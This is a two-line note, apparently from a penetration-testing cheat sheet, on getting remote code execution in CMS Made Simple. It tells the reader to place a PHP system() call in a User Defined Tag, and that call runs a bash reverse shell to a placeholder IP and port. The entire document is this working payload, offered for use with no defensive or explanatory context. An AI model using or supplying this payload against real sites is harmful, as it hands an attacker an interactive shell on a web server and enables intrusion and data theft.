CMS Made Simple (CMSMS)

RCE

Go to Extensions->User Defined Tags->user_agent and add:

echo system("bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1'");